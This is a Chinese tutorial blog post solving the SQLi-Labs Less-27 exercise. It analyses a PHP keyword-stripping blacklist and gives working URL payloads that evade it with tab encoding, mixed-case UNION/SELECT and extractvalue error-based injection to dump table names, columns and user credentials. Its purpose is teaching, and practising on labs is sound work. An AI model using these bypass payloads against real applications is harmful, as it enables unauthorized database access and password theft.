SQL注入 union和select替换为空绕过

SQL注入 union和select替换为空绕过

1.基础知识介绍

1.MySQL中的大小写不敏感,大写与小写一样。用于绕过过滤的黑名单。
2.MySQL中的十六进制与URL编码
3.符号与关键字替换 and----&&、or----||
4.空格使用%20表示、%0a换行、%09tab键

2.去除(union)的代码分析

preg_replace函数
preg_replace(mixed $pattern,mixed $replacement,mixed $subject):执行一个正则表达式的搜索和替换。
$pattern:要搜索的模式,可以是字符串或一个字符串数组
$replacement:用于替换的字符串或字符串组。
$subject:要搜索替换的目标字符串或字符串数组


function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//替换/*为空
$id= preg_replace('/[--]/',"", $id);		//替换--为空.
$id= preg_replace('/[#]/',"", $id);			//替换 #.为空
$id= preg_replace('/[ +]/',"", $id);	    //匹配(+)替换为空
$id= preg_replace('/select/m',"", $id);	    //匹配select为空
$id= preg_replace('/[ +]/',"", $id);	    //匹配(+)为空
$id= preg_replace('/union/s',"", $id);	    //替换union为空
$id= preg_replace('/select/s',"", $id);	    //替换select为空
$id= preg_replace('/UNION/s',"", $id);	    //替换UNION为空
$id= preg_replace('/SELECT/s',"", $id);	    //替换SELECT为空
$id= preg_replace('/Union/s',"", $id);	    //替换Union为空
$id= preg_replace('/Select/s',"", $id);	    //替换select为空
return $id;
}

源代码如下所示:
在这里插入图片描述

3.渗透实战化演练

方法一(union注入)

Sqli-Lab-less27为例
%09表示空格,||表会or、union/select大小写、双写绕过。
1.当我们输入1'时,报错

在这里插入图片描述
2.使用万能模板注入

1' or '1'='1

在这里插入图片描述

3.判断注入点

?id=0%27%09%09unIon%09sElect%091,2,3%09||%09%271

在这里插入图片描述

4.获取数据库信息

?id=0%27%09%09unIon%09sElect%091,database(),3%09||%09%271

在这里插入图片描述
5.获取数据表信息

?id=0%27%09%09unIon%09sElect%091,(sElect%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()),3%09||%09%271

在这里插入图片描述
6.获取字段名

?id=0%27%09%09unIon%09sElect%091,(sElect%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema='security'%09||%09table_name='users'),3%09||%09%271

在这里插入图片描述
7.获取字段内容

?id=0%27%09%09unIon%09sElect%091,(sElect%09group_concat(id,username,password)%09from%09users),3%09||%09%271

在这里插入图片描述

方法二(extractvalue报错注入)

1.获取数据库信息
使用%09绕过空格,使用%27绕过单引号

?id=1%27or(extractvalue(1,concat(0x7e,(sElect(database())),0x7e)))and%09%271

在这里插入图片描述
2.获取表名信息

?id=1'or(extractvalue(1,concat(0x7e,(sElect(group_concat(table_name))from(information_schema.tables)where (table_schema=database())),0x7e)))and '1'='1

在这里插入图片描述

3.获取字段名信息

?id=1'or(extractvalue(1,concat(0x7e,(sElect(group_concat(column_name))from(information_schema.columns)where (table_schema='security')and(table_name='users')),0x7e)))and '1'='1

在这里插入图片描述
4.获取字段内容

?id=1'or(extractvalue(1,concat(0x7e,(sElect (group_concat(id,username,password))from(users)),0x7e)))and '1'='1

在这里插入图片描述

5.ps

1.使用union查询的过程中,因为过滤了减号,所以不能使用负数(如:-1)
2.在使用报错注入的过程中,使用了括号绕过空格
3.尽管过滤了大写和小写的unionselect但是我们可以使用大小写交叉绕过
4.使用报错注入,获取数据表还有一种方法,payload如下所示

?id=1'  %09and%09 extractvalue(0x0a,concat(0x0a,(selECt %09table_name %09from %09information_schema.tables %09where %09table_schema=database()%09 limit %090,1)))%09and 's'='s
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值